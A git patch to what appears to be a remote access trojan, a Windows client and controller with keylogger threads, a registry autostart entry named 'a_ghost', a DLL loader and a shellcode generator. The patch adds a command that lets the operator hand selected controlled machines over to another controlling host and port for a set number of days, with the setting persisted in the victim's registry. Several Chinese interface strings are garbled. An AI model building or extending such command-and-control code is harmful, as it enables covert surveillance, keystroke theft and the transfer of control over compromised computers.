From d5a1b9fe32d2db5af6b2be6658e4c23c84ee303e Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sat, 26 Jul 2025 14:51:10 +0800 Subject: [PATCH] Feature: support assigning client to another master --- client/ClientDll.cpp | 12 ++++++++ client/KernelManager.cpp | 16 ++++++++++ client/KeyboardManager.cpp | 4 +-- common/commands.h | 6 ++++ common/iniFile.h | 2 ++ server/2015Remote/2015Remote.rc | Bin 90664 -> 90960 bytes server/2015Remote/2015RemoteDlg.cpp | 29 ++++++++++++++++++ server/2015Remote/2015RemoteDlg.h | 3 +- server/2015Remote/2015Remote_vs2015.vcxproj | 1 + .../2015Remote_vs2015.vcxproj.filters | 1 + server/2015Remote/res/Bitmap/AssignTo.bmp | Bin 0 -> 822 bytes server/2015Remote/resource.h | Bin 45174 -> 45542 bytes 12 files changed, 71 insertions(+), 3 deletions(-) create mode 100644 server/2015Remote/res/Bitmap/AssignTo.bmp diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 27f7ec8..fea5e6b 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -3,6 +3,7 @@ #include "stdafx.h" #include "ClientDll.h" +#include // 自动启动注册表中的值 #define REG_NAME "a_ghost" @@ -473,6 +474,17 @@ DWORD WINAPI StartClient(LPVOID lParam) { ClientApp& app(*(ClientApp*)lParam); CONNECT_ADDRESS& settings(*(app.g_Connection)); + if (!app.m_bShared) + { + iniFile cfg(CLIENT_PATH); + auto now = time(0); + auto valid_to = atof(cfg.GetStr("settings", "valid_to").c_str()); + if (now <= valid_to) { + auto saved_ip = cfg.GetStr("settings", "master"); + auto saved_port = cfg.GetInt("settings", "port"); + settings.SetServer(saved_ip.c_str(), saved_port); + } + } auto list = app.GetSharedMasterList(); if (list.size() > 1 && settings.runningType == RUNNING_PARALLEL) { for (int i=1; i 2) { switch (szBuffer[1]) { + case SHARE_TYPE_YAMA_FOREVER: { + auto v = StringToVector((char*)szBuffer + 2, ':', 3); + if (v[0].empty() || v[1].empty()) + break; + + iniFile cfg(CLIENT_PATH); + cfg.SetStr("settings", "master", v[0]); + cfg.SetStr("settings", "port", v[1]); + float days = atof(v[2].c_str()); + if (days > 0) { + auto valid_to = time(0) + days*86400; + // overflow after 2038-01-19 + cfg.SetStr("settings", "valid_to", std::to_string(valid_to)); + } + } case SHARE_TYPE_YAMA: { auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE); if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0)); diff --git a/client/KeyboardManager.cpp b/client/KeyboardManager.cpp index e19d3dc..8818d19 100644 --- a/client/KeyboardManager.cpp +++ b/client/KeyboardManager.cpp @@ -31,8 +31,8 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user m_bIsWorking = true; - m_hWorkThread = MyCreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL); - m_hSendThread = MyCreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL); + m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL); + m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL); SetReady(TRUE); } diff --git a/common/commands.h b/common/commands.h index 983a1c0..1cfd379 100644 --- a/common/commands.h +++ b/common/commands.h @@ -243,6 +243,11 @@ enum COMMAND_BYE, // 被控端退出 SERVER_EXIT=205, // 主控端退出 + COMMAND_CC, // CC + COMMAND_ASSIGN_MASTER, // 分配主控 + COMMAND_FILE_DETECT, // 文件探测 + COMMAND_FILE_REPORT, // 文件上报 + SOCKET_DLLLOADER=210, // 客户端请求DLL CMD_DLLDATA, // 响应DLL数据 CMD_RUNASADMIN=214, // ADMIN 运行 @@ -460,6 +465,7 @@ enum enum { SHARE_TYPE_YAMA = 0, // 分享给同类程序 SHARE_TYPE_HOLDINGHANDS = 1, // 分享给 HoldingHands: https://github.com/yuanyuanxiang/HoldingHands + SHARE_TYPE_YAMA_FOREVER = 100, // 永久分享 }; inline const char* GetClientType(int typ) { diff --git a/common/iniFile.h b/common/iniFile.h index e6df511..0ddf44f 100644 --- a/common/iniFile.h +++ b/common/iniFile.h @@ -5,6 +5,7 @@ #define YAMA_PATH "Software\\YAMA" #define CLIENT_PATH "Software\\ServerD11" +// 配置读取类: 文件配置. class config { private: @@ -51,6 +52,7 @@ public: } }; +// 配置读取类: 注册表配置. class iniFile : public config { private: diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 2195b29a52399cdc66618073a3c94e1377de1086..f12e98b479f9c14b328e802d4a9aed161f3e6fcc 100644 GIT binary patch delta 104 zcmZ2+g!RHP)`l&NOl<5q{l6=%{j8>cWMTB?4rT~u@MLgj@MDOdo+!&GIa%P7$aW?+ z#$)=^KWH(E@jC+LVJbox{HF^VF@^&Li-9ncA)O(QA%r1+x}pxF@b(j?j0rjbMKBw; delta 23 fcmca`jCI8k)`l&NOl;eG*cgxLZ~tJ%n4kjyb&3e{ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 72d71fe..1513fd4 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -303,6 +303,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I m_bmOnline[9].LoadBitmap(IDB_BITMAP_SDESKTOP); m_bmOnline[10].LoadBitmap(IDB_BITMAP_AUTHORIZE); m_bmOnline[11].LoadBitmap(IDB_BITMAP_UNAUTH); + m_bmOnline[12].LoadBitmap(IDB_BITMAP_ASSIGNTO); for (int i = 0; i < PAYLOAD_MAXTYPE; i++) { m_ServerDLL[i] = nullptr; @@ -418,6 +419,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_TOOL_REQUEST_AUTH, &CMy2015RemoteDlg::OnToolRequestAuth) ON_COMMAND(ID_TOOL_INPUT_PASSWORD, &CMy2015RemoteDlg::OnToolInputPassword) ON_COMMAND(ID_TOOL_GEN_SHELLCODE, &CMy2015RemoteDlg::OnToolGenShellcode) + ON_COMMAND(ID_ONLINE_ASSIGN_TO, &CMy2015RemoteDlg::OnOnlineAssignTo) END_MESSAGE_MAP() @@ -1278,6 +1280,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) Menu.SetMenuItemBitmaps(ID_ONLINE_H264_DESKTOP, MF_BYCOMMAND, &m_bmOnline[9], &m_bmOnline[9]); Menu.SetMenuItemBitmaps(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND, &m_bmOnline[10], &m_bmOnline[10]); Menu.SetMenuItemBitmaps(ID_ONLINE_UNAUTHORIZE, MF_BYCOMMAND, &m_bmOnline[11], &m_bmOnline[11]); + Menu.SetMenuItemBitmaps(ID_ONLINE_ASSIGN_TO, MF_BYCOMMAND, &m_bmOnline[12], &m_bmOnline[12]); // 鍒涘缓涓涓柊鐨勫瓙鑿滃崟 CMenu newMenu; @@ -2995,3 +2998,29 @@ void CMy2015RemoteDlg::OnToolGenShellcode() SAFE_DELETE_ARRAY(szBuffer); } } + + +void CMy2015RemoteDlg::OnOnlineAssignTo() +{ + CInputDialog dlg(this); + dlg.Init("杞Щ涓绘満(鍒版湡鑷姩澶嶅師)", "杈撳叆鍦板潃:"); + dlg.Init2("澶╂暟(鏀寔娴偣鏁):", "30"); + if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty() || atof(dlg.m_sSecondInput.GetString())<=0) + return; + if (dlg.m_str.GetLength() >= 250) { + MessageBox("瀛楃涓查暱搴﹁秴鍑篬0, 250]鑼冨洿闄愬埗!", "鎻愮ず", MB_ICONINFORMATION); + return; + } + if (dlg.m_sSecondInput.GetLength() >= 6) { + MessageBox("瓒呭嚭浣跨敤鏃堕棿鍙緭鍏ョ殑瀛楃鏁伴檺鍒!", "鎻愮ず", MB_ICONINFORMATION); + return; + } + + BYTE bToken[_MAX_PATH] = { COMMAND_ASSIGN_MASTER }; + // 鐩爣涓绘満绫诲瀷 + bToken[1] = SHARE_TYPE_YAMA_FOREVER; + memcpy(bToken + 2, dlg.m_str, dlg.m_str.GetLength()); + bToken[2 + dlg.m_str.GetLength()] = ':'; + memcpy(bToken + 2 + dlg.m_str.GetLength() + 1, dlg.m_sSecondInput, dlg.m_sSecondInput.GetLength()); + SendSelectedCommand(bToken, sizeof(bToken)); +} diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index e2a938e..54b4d33 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -196,7 +196,7 @@ public: CRITICAL_SECTION m_cs; BOOL isClosed; CMenu m_MainMenu; - CBitmap m_bmOnline[12]; + CBitmap m_bmOnline[13]; uint64_t m_superID; bool CheckValid(int trail = 14); afx_msg void OnTimer(UINT_PTR nIDEvent); @@ -268,4 +268,5 @@ public: afx_msg void OnToolInputPassword(); afx_msg LRESULT OnShowMessage(WPARAM wParam, LPARAM lParam); afx_msg void OnToolGenShellcode(); + afx_msg void OnOnlineAssignTo(); }; diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 7195bbd..b5882f8 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -389,6 +389,7 @@ + diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index 5750768..6f4a66a 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -153,6 +153,7 @@ + diff --git a/server/2015Remote/res/Bitmap/AssignTo.bmp b/server/2015Remote/res/Bitmap/AssignTo.bmp new file mode 100644 index 0000000000000000000000000000000000000000..69bbf73082dfcdf85b13fc9ed7796180fabfe909 GIT binary patch literal 822 zcmZ?rHDhJ~12Z700mK4O%*Y@C7H5FULpTsJghY^*miB^Z090I2QStrz_hUo=pfaH1 z&d#oX|Nb2~azHj-7J}w)n131@04f72o;`cce=u-tb`Rc?qg`rz{QB|#KR#eZK*ej; ztc4)2cK_u44SJOp1wDmuK}-hR9H&aB#`E)RXM_V8aKV74fKOjP!MVtc>V?%)F0At3 z-)LBBv1soih?GvIj#Y*I^~cwdRYKSsPj0H%+SPt@qyOGk^Je#&rFExopV2Qc3OhB& zzRedXi>bw}D{$@Olid&Y#@txtyQ9rvW|HmXsKf``<8E!V>Is^$XD*tS{Wp#T&P!ka z;=<6#fO-#pd|0}3LgThRH1$C4*(X=Zwscrd4u+r&A8w!g_$X^j>ztD-F%_eUSkH+* o{_bA%+On;;4x&k6<=QPx@m!UA``sg~vY3L&d)q(%`i3kH0LnQ&A^-pY literal 0 HcmV?d00001 diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 29c02b71a15c0fddb177171aebbb87e50aeaf796..da774cf6e3697d561156b8027c8f76df7576c422 100644 GIT binary patch delta 139 zcmezNfa%#|rVUrDCkI#vOb#;Fn{2gSV)6uLF0G>`QlmGw# delta 43 zcmaF%nCaUCrVUrDCpU1gZ0@nKD%#w%UX5|GfQ{5-g^d!EZ*9<